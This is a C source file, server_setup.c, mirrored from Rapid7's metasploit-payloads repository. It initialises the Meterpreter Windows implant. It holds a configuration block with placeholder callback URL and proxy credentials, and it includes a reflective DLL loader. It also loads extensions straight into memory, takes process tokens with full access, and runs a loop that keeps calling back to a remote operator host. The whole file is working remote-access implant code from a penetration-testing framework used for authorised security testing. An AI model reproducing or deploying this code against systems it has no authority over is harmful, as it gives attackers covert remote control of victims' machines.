mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-30 22:19:17 +02:00
298 lines
12 KiB
C
298 lines
12 KiB
C
/*!
|
|
* @file server_setup.c
|
|
*/
|
|
#include "metsrv.h"
|
|
#include "../../common/common.h"
|
|
#include <ws2tcpip.h>
|
|
|
|
#include "win/server_transport_winhttp.h"
|
|
#include "win/server_transport_tcp.h"
|
|
|
|
#define TRANSPORT_ID_OFFSET 22
|
|
|
|
extern Command* extensionCommands;
|
|
|
|
typedef struct _MetsrvConfigData
|
|
{
|
|
wchar_t transport[28];
|
|
wchar_t url[524];
|
|
wchar_t ua[256];
|
|
wchar_t proxy[104];
|
|
wchar_t proxy_username[112];
|
|
wchar_t proxy_password[112];
|
|
BYTE ssl_cert_hash[28];
|
|
union
|
|
{
|
|
char placeholder[sizeof(TimeoutSettings)];
|
|
TimeoutSettings values;
|
|
} timeouts;
|
|
} MetsrvConfigData;
|
|
|
|
MetsrvConfigData global_config =
|
|
{
|
|
.transport = L"METERPRETER_TRANSPORT_SSL\x00\x00",
|
|
.url = L"https://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/\x00\x00",
|
|
.ua = L"METERPRETER_UA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
|
|
.proxy = L"METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
|
|
.proxy_username = L"METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
|
|
.proxy_password = L"METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
|
|
.ssl_cert_hash = "METERPRETER_SSL_CERT_HASH\x00\x00\x00",
|
|
.timeouts.placeholder = "METERP_TIMEOUTS\x00"
|
|
};
|
|
|
|
// include the Reflectiveloader() function
|
|
#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
|
|
|
int exceptionfilter(unsigned int code, struct _EXCEPTION_POINTERS *ep)
|
|
{
|
|
return EXCEPTION_EXECUTE_HANDLER;
|
|
}
|
|
|
|
#define InitAppInstance() { if( hAppInstance == NULL ) hAppInstance = GetModuleHandle( NULL ); }
|
|
|
|
/*!
|
|
* @brief Get the session id that this meterpreter server is running in.
|
|
* @return ID of the current server session.
|
|
*/
|
|
DWORD server_sessionid()
|
|
{
|
|
typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );
|
|
|
|
static PROCESSIDTOSESSIONID processIdToSessionId = NULL;
|
|
HMODULE kernel = NULL;
|
|
DWORD sessionId = 0;
|
|
|
|
do
|
|
{
|
|
if (!processIdToSessionId)
|
|
{
|
|
kernel = LoadLibraryA("kernel32.dll");
|
|
if (kernel)
|
|
{
|
|
processIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress(kernel, "ProcessIdToSessionId");
|
|
}
|
|
}
|
|
|
|
if (!processIdToSessionId)
|
|
{
|
|
break;
|
|
}
|
|
|
|
if (!processIdToSessionId(GetCurrentProcessId(), &sessionId))
|
|
{
|
|
sessionId = -1;
|
|
}
|
|
|
|
} while( 0 );
|
|
|
|
if (kernel)
|
|
{
|
|
FreeLibrary(kernel);
|
|
}
|
|
|
|
return sessionId;
|
|
}
|
|
|
|
/*!
|
|
* @brief Load any stageless extensions that might be present in the current payload.
|
|
* @param remote Pointer to the remote instance.
|
|
* @param fd The socket descriptor passed to metsrv during intialisation.
|
|
*/
|
|
VOID load_stageless_extensions(Remote* remote, ULONG_PTR fd)
|
|
{
|
|
LPBYTE extensionStart = (LPBYTE)fd + sizeof(DWORD);
|
|
DWORD size = *((LPDWORD)(extensionStart - sizeof(DWORD)));
|
|
|
|
while (size > 0)
|
|
{
|
|
dprintf("[SERVER] Extension located at 0x%p: %u bytes", extensionStart, size);
|
|
HMODULE hLibrary = LoadLibraryR(extensionStart, size);
|
|
dprintf("[SERVER] Extension located at 0x%p: %u bytes loaded to %x", extensionStart, size, hLibrary);
|
|
initialise_extension(hLibrary, TRUE, remote, NULL, extensionCommands);
|
|
|
|
extensionStart += size + sizeof(DWORD);
|
|
size = *((LPDWORD)(extensionStart - sizeof(DWORD)));
|
|
}
|
|
|
|
dprintf("[SERVER] All stageless extensions loaded");
|
|
}
|
|
|
|
/*!
|
|
* @brief Create a new transport based on the given metsrv configuration.
|
|
* @param config Pointer to the metsrv configuration block.
|
|
* @param stageless Indication of whether the configuration is stageless.
|
|
* @param fd The socket descriptor passed to metsrv during intialisation.
|
|
*/
|
|
static Transport* transport_create(MetsrvConfigData* config, BOOL stageless)
|
|
{
|
|
Transport* t = NULL;
|
|
wchar_t* transport = config->transport + TRANSPORT_ID_OFFSET;
|
|
wchar_t* url = config->url + (stageless ? 1 : 0);
|
|
|
|
dprintf("[TRANSPORT] Type = %S", transport);
|
|
dprintf("[TRANSPORT] URL = %S", url);
|
|
|
|
if (wcscmp(transport, L"SSL") == 0)
|
|
{
|
|
t = transport_create_tcp(url, &config->timeouts.values);
|
|
}
|
|
else
|
|
{
|
|
BOOL ssl = wcscmp(transport, L"HTTPS") == 0;
|
|
t = transport_create_http(ssl, url, config->ua, config->proxy, config->proxy_username,
|
|
config->proxy_password, config->ssl_cert_hash, &config->timeouts.values);
|
|
}
|
|
|
|
dprintf("[TRANSPORT] Comms timeout: %u %08x", t->timeouts.comms, t->timeouts.comms);
|
|
dprintf("[TRANSPORT] Session timeout: %u %08x", t->timeouts.expiry, t->timeouts.expiry);
|
|
dprintf("[TRANSPORT] Session expires: %u %08x", t->expiration_end, t->expiration_end);
|
|
dprintf("[TRANSPORT] Retry total: %u %08x", t->timeouts.retry_total, t->timeouts.retry_total);
|
|
dprintf("[TRANSPORT] Retry wait: %u %08x", t->timeouts.retry_wait, t->timeouts.retry_wait);
|
|
|
|
return t;
|
|
}
|
|
|
|
/*!
|
|
* @brief Setup and run the server. This is called from Init via the loader.
|
|
* @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions.
|
|
* @return Meterpreter exit code (ignored by the caller).
|
|
*/
|
|
DWORD server_setup(SOCKET fd)
|
|
{
|
|
THREAD* serverThread = NULL;
|
|
Remote* remote = NULL;
|
|
char stationName[256] = { 0 };
|
|
char desktopName[256] = { 0 };
|
|
DWORD res = 0;
|
|
|
|
// first byte of the URL indites 's' if it's stageless
|
|
BOOL isStageless = global_config.url[0] == 's';
|
|
|
|
dprintf("[SERVER] Initializing...");
|
|
|
|
// if hAppInstance is still == NULL it means that we havent been
|
|
// reflectivly loaded so we must patch in the hAppInstance value
|
|
// for use with loading server extensions later.
|
|
InitAppInstance();
|
|
|
|
srand((unsigned int)time(NULL));
|
|
|
|
__try
|
|
{
|
|
do
|
|
{
|
|
dprintf("[SERVER] module loaded at 0x%08X", hAppInstance);
|
|
|
|
// Open a THREAD item for the servers main thread, we use this to manage migration later.
|
|
serverThread = thread_open();
|
|
|
|
dprintf("[SERVER] main server thread: handle=0x%08X id=0x%08X sigterm=0x%08X", serverThread->handle, serverThread->id, serverThread->sigterm);
|
|
|
|
if (!(remote = remote_allocate()))
|
|
{
|
|
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
|
break;
|
|
}
|
|
|
|
// Store our thread handle
|
|
remote->server_thread = serverThread->handle;
|
|
|
|
// Store our process token
|
|
if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token))
|
|
{
|
|
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->server_token);
|
|
}
|
|
|
|
// Copy it to the thread token
|
|
remote->thread_token = remote->server_token;
|
|
|
|
// Save the initial session/station/desktop names...
|
|
remote->orig_sess_id = server_sessionid();
|
|
remote->curr_sess_id = remote->orig_sess_id;
|
|
GetUserObjectInformation(GetProcessWindowStation(), UOI_NAME, &stationName, 256, NULL);
|
|
remote->orig_station_name = _strdup(stationName);
|
|
remote->curr_station_name = _strdup(stationName);
|
|
GetUserObjectInformation(GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, &desktopName, 256, NULL);
|
|
remote->orig_desktop_name = _strdup(desktopName);
|
|
remote->curr_desktop_name = _strdup(desktopName);
|
|
|
|
dprintf("[SERVER] Registering dispatch routines...");
|
|
register_dispatch_routines();
|
|
|
|
if (isStageless)
|
|
{
|
|
// in the case of stageless payloads, fd contains a pointer to the extensions
|
|
// to load
|
|
dprintf("[SERVER] Loading stageless extensions");
|
|
load_stageless_extensions(remote, (ULONG_PTR)fd);
|
|
}
|
|
|
|
// allocate the "next transport" information based off the global configuration
|
|
dprintf("[SERVER] creating transport");
|
|
remote->next_transport = transport_create(&global_config, isStageless);
|
|
|
|
while (remote->next_transport)
|
|
{
|
|
// Work off the next transport
|
|
remote->transport = remote->next_transport;
|
|
|
|
if (remote->transport->transport_init)
|
|
{
|
|
dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport->transport_init);
|
|
// Each transport has its own set of retry settings and each should honour
|
|
// them individually.
|
|
if (!remote->transport->transport_init(remote, fd))
|
|
{
|
|
dprintf("[SERVER] transport initialisation failed.");
|
|
|
|
// when we have a list of transports, we'll iterate to the next one.
|
|
break;
|
|
}
|
|
}
|
|
|
|
// once initialised, we'll clean up the next transport so that we don't try again
|
|
remote->next_transport = NULL;
|
|
|
|
dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", remote->transport, remote->transport->ctx);
|
|
DWORD dispatchResult = remote->transport->server_dispatch(remote, serverThread);
|
|
|
|
if (remote->transport->transport_deinit)
|
|
{
|
|
remote->transport->transport_deinit(remote);
|
|
}
|
|
|
|
// If the transport mechanism failed, then we should loop until we're able to connect back again.
|
|
// But if it was successful, and this is a valid exit, then we should clean up and leave.
|
|
if (dispatchResult == ERROR_SUCCESS)
|
|
{
|
|
remote->transport->transport_destroy(remote);
|
|
}
|
|
else
|
|
{
|
|
// try again!
|
|
if (remote->transport->transport_reset)
|
|
{
|
|
remote->transport->transport_reset(remote->transport);
|
|
}
|
|
|
|
// when we have a list of transports, we'll iterate to the next one (perhaps?)
|
|
remote->next_transport = remote->transport;
|
|
}
|
|
}
|
|
|
|
dprintf("[SERVER] Deregistering dispatch routines...");
|
|
deregister_dispatch_routines(remote);
|
|
} while (0);
|
|
|
|
remote_deallocate(remote);
|
|
}
|
|
__except (exceptionfilter(GetExceptionCode(), GetExceptionInformation()))
|
|
{
|
|
dprintf("[SERVER] *** exception triggered!");
|
|
|
|
thread_kill(serverThread);
|
|
}
|
|
|
|
dprintf("[SERVER] Finished.");
|
|
return res;
|
|
} |